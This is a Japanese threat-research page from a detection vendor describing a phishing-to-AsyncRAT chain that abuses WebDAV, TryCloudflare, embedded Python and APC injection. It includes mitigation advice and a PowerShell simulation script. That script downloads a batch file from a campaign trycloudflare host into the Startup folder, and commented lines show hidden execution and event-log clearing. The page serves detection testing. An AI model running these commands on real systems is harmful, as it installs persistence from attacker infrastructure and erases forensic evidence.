MDRが明らかにしたマルチステージのAsyncRAT攻撃チェーン

Ruslan Mikhalov Chief of Threat Research at SOC Prime

フォローする

Detection stack

AIDR
Alert
ETL
Query

脅威レポート
攻撃フロー
検出
シミュレーション

概要

このレポートは、フィッシングメールによって開始される多段階の侵入チェーンについて説明しています。これには、二重拡張子ZIPルアーを配信し、WebDAVホストのペイロードシーケンスに移行することが含まれます。オペレーターはCloudflareの無料ティアインフラストラクチャとバンドルされたPythonコンポーネントを利用してAsyncRATを被害者のエンドポイントに展開します。実行と持続性は、Windows Script Host、PowerShell、バッチスクリプトなどのネイティブなWindowsツールに依存していますが、最終段階ではexplorer.exeへのコードインジェクションが使用されます。信頼性の高いクラウドサービスを通じて配信とステージングをルーティングすることで、活動は通常のトラフィックに溶け込み、従来の境界制御を回避できます。

調査

トレンドマイクロの調査者は、ステージド配信フローと一致するテレメトリを報告しました。これは、Dropboxからの.pdf.zipアーカイブの取得、埋め込まれた.urlショートカットの実行、svchost.exeおよびrundll32.exeに起因するその後のWebDAVインタラクションを含んでいます。このチェーンは、AsyncRATシェルコードのAPCインジェクションを担当するカスタムPythonスクリプトを実行するために使用されたPython 3.14.0埋め込みファイルを展開しました。持続性は、ユーザーのスタートアップディレクトリにバッチファイルを配置することで達成されました。アナリストはまた、インフラストラクチャをサポートする複数のTryCloudflareホストを特定し、相関させました。

緩和策

二重拡張子アーカイブや予期しないZIP添付ファイルを疑わしいものとして扱うようにユーザーを訓練し、フィッシングで配信されるクラウドリンク用のフィルタリングを強化することで、露出を減らします。承認されていないクラウドトンネリングサービスへのアクセスをブロックまたは厳密に制御し、WebDAVの異常な依存度を監視します。ユーザー書き込み可能なディレクトリからのスクリプト実行を制限し、スタートアップフォルダの使用とタスクスケジュール作成に対する制御を強化します。EPR/行動検出を優先し、スクリプト駆動の実行チェーンや、正常なプロセスをターゲットにしたコード注入技術を表面化することができるものを優先します。

対応

活動が検出された場合、エンドポイントを隔離し、チェーンに関連する疑わしいプロセス（特にsvchost.exe、rundll32.exe、およびインシデントに関連する場合のpython.exe）を停止します。持続性を削除するには、スタートアップディレクトリから悪意のあるバッチアーティファクトを削除し、ダウンロードされたPythonアーカイブおよびすべてのAsyncRATコンポーネントを根絶し、追加のステージングファイルと横方向の移動を検出するための完全な法医学調査を実行します。ネットワーク制御とブロックリストを更新して、特定されたTryCloudflareドメインおよびトリアージ中に観察された関連インフラストラクチャを含めます。

“graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes attack_phishing[“アクション – T1566.001 スピアフィッシング添付: 被害者が二重拡張の.pdf.urlの添付ファイルを含むフィッシングメールを受信し、Dropboxアーカイブにリンクされている。”] class attack_phishing action file_shortcut[“ファイル – .urlショートカット: PDF請求書として偽装し、悪意のあるDropboxアーカイブを指す。”] class file_shortcut file action_user_exec[“アクション – T1204.002 ユーザー実行: ユーザーがショートカットを開き、初期ダウンロードをトリガー。”] class action_user_exec action file_archive[“ファイル – Dropboxアーカイブ: PDF請求書として表示され、次の段階のペイロードを含む。”] class file_archive file action_masquerade[“アクション – T1036.008 偽装: アーカイブとショートカットは、正当なPDFファイルを模倣して疑念を回避。”] class action_masquerade action tool_wsh[“ツール – Windows Script Host: .wsh/.wsf ファイルを実行してさらなるスクリプトを取得。”] class tool_wsh tool action_script_proxy[“アクション – T1216 システムスクリプトプロキシ実行: スクリプトダウンロードのプロキシとしてWSHファイルを実行。”] class action_script_proxy action tool_rundll32[“ツール – rundll32.exe: davclnt.dll (DavSetCookie) を呼び出して、WebDAVサーバーと通信。”] class tool_rundll32 tool action_rundll32[“アクション – T1218.011 Rundll32: CloudflareがホストするWebDAVサーバーと通信するためにrundll32を使用。”] class action_rundll32 action tool_powershell[“ツール – PowerShell: Python 3.14埋め込みZIPをダウンロード、抽出し、追加のバッチファイルを取得。”] class tool_powershell tool action_powershell[“アクション – T1059.001 PowerShell: ダウンロードと抽出のためにPowerShellコマンドを実行。”] class action_powershell action action_hide[“アクション – T1564.001 アーティファクト隠蔽: ユーザーのTempディレクトリ内に隠しファイルとしてペイロードを格納。”] class action_hide action file_hidden[“ファイル – 隠しTempファイル: ne.py, new.bin, a.txtが%TEMP%に配置され、隠しとしてマーク。”] class file_hidden file action_persistence[“アクション – T1037.001 ログオンスクリプト: スタートアップフォルダーにバッチファイルを配置して持続性を維持。”] class action_persistence action file_startup[“ファイル – スタートアップバッチファイル: ahke.bat および olsm.bat がユーザーのスタートアップディレクトリに配置。”] class file_startup file action_ingress[“アクション – T1105 イングレスツール転送: WebDAVサーバーから追加の悪意のあるコンポーネントを転送。”] class action_ingress action action_cloudapi[“アクション – T1059.009 クラウドAPI: trycloudflare.comドメインにHTTP/HTTPSリクエストを送り、最終ペイロードを取得。”] class action_cloudapi action action_injection[“アクション – T1055.004 プロセスインジェクション: Pythonスクリプトne.pyがAPCインジェクションを通じてexplorer.exeにAsyncRATシェルコードを注入。”] class action_injection action process_explorer[“プロセス – explorer.exe: APCシェルコードインジェクションのターゲットプロセス。”] class process_explorer process malware_asyncrat[“マルウェア – AsyncRAT: インジェクトされたシェルコードがリモートアクセストツールを確立。”] class malware_asyncrat malware action_c2[“アクション – T1102.002 ウェブサービス: AsyncRATがCloudflareインフラストラクチャとHTTPSで双方向通信。”] class action_c2 action %% Connections attack_phishing u002du002d>|配送する| file_shortcut file_shortcut u002du002d>|被害者が開き発動| action_user_exec action_user_exec u002du002d>|ダウンロード| file_archive file_archive u002du002d>|使用される| action_masquerade action_masquerade u002du002d>|実行を可能にする| tool_wsh tool_wsh u002du002d>|一部として実行される| action_script_proxy action_script_proxy u002du002d>|呼び出す| tool_rundll32 tool_rundll32 u002du002d>|呼び出す| action_rundll32 action_rundll32 u002du002d>|環境を準備する| tool_powershell tool_powershell u002du002d>|実行する| action_powershell action_powershell u002du002d>|ファイルを格納する| action_hide action_hide u002du002d>|作成する| file_hidden file_hidden u002du002d>|使用される| action_persistence action_persistence u002du002d>|配置する| file_startup file_startup u002du002d>|発動する| action_ingress action_ingress u002du002d>|より多くのコンポーネントを取得する| action_cloudapi action_cloudapi u002du002d>|ペイロードを配送する| action_injection action_injection u002du002d>|注入する| process_explorer process_explorer u002du002d>|ホストする| malware_asyncrat malware_asyncrat u002du002d>|通信する| action_c2 “

攻撃フロー

表示

シミュレーション実行

前提条件: テレメトリー＆ベースライン事前フライトチェックが合格していること。

攻撃のストーリー＆コマンド

初期のPowerShellアクセスを獲得した敵は、Python実行環境をセットアップし、持続性を確立しようとしています。彼らは:
1. 埋め込まれたPythonディストリビューションをダウンロード 直接ユーザーのローカル Temp ディレクトリを使用して Invoke‑WebRequest.
2. 悪意のあるバッチスクリプトをダウンロード (ahke.bat) をCloudflare経由でプロキシされたドメインからユーザーのスタートアップフォルダーにダウンロードし、ログオン時に実行されるようにします。
3. ダウンロードしたPython ZIPを実行 （省略のため詳細は省略）して、さらなるペイロードを実行します。
これらのステップは、Sigmaルールによって一致する正確なコマンド文字列を生成し、 iwr … -OutFile … パターンを持つPowerShellスクリプトブロックログを生成します。

回帰テストスクリプト

# -------------------------------------------------
# PowerShellによるAsyncRAT環境設定のシミュレーション
# -------------------------------------------------

# 1. ユーザーテンプフォルダにPython埋め込みZIPをダウンロード
$pythonUrl = 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip'
$pythonDest = "$env:USERPROFILEAppDataLocalTempp.zip"
iwr $pythonUrl -OutFile $pythonDest

# 2. 持続性のための悪意のあるバッチファイルをスタートアップにダウンロード
$batUrl = 'https://plus-condos-thy-redeem.trycloudflare.com/ahke.bat'
$batDest = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat"
iwr $batUrl -OutFile $batDest

# 3. （オプション）持続性を実証するためにバッチの実行をトリガー
# Start-Process -FilePath $batDest -WindowStyle Hidden
# -------------------------------------------------

クリーンアップコマンド

# ダウンロードされたアーティファクトを削除
Remove-Item -Path "$env:USERPROFILEAppDataLocalTempp.zip" -ErrorAction SilentlyContinue
Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" -ErrorAction SilentlyContinue

# オプションでPowerShellスクリプトブロックログをクリア（管理者権限が必要）
# Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加

Name	Descripiton
PHPSESSID	Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages.
sp_i	Used to store information about authenticated User.
sp_r	Used to store information about authenticated User.
sp_a	Used to store information about authenticated User.

Name	Descripiton
tuuid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
tuuid_last_update	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
um	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
umeh	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
na_sc_x	Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site.
APID	Collects anonymous data related to the user's visits to the website.
IDSYNC	Collects anonymous data related to the user's visits to the website.
_cc_aud	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_cc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_dc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_id	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
dpm	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
acs	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
clid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
KRTBCOOKIE_#	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PUBMDCID	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PugT	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
ssi	Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads.
_tmid	Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips.
wam-sync	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
wui	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
AFFICHE_W	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
B	Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor.
1P_JAR	These cookies are used to gather website statistics, and track conversion rates.
APISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
HSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
NID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SAPISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SIDCC	Security cookie to protect users data from unauthorised access.
SSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
__utmx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.
__utmxx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.

Name	Descripiton
_hjid	Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID.
_hjIncludedInSample	This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample.
intercom-id-[xxx]	This cookie is used by Intercom as a session so that users can continue a chat as they move through the site.
intercom-session-[xxx]	Used to keeping track of sessions and remember logins and conversations.
demdex	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
CookieConsent	Stores the user's cookie consent state for the current domain.
__cfduid	Used by the content network, Cloudflare, to identify trusted web traffic.
ss	These cookies enable the website to provide enhanced functionality and personalisation . They may be set by us or by third party providers whose services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality .

Name	Descripiton
_ga	This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.
_gat	Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes.
_gid	This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website.
IDE	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
r/collect	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
test_cookie	Used to check if the user's browser supports cookies.
collect	Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels.
ads/user-lists/#	These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites.
c	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
khaos	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
put_#	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpb	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpx	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
tap.php	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.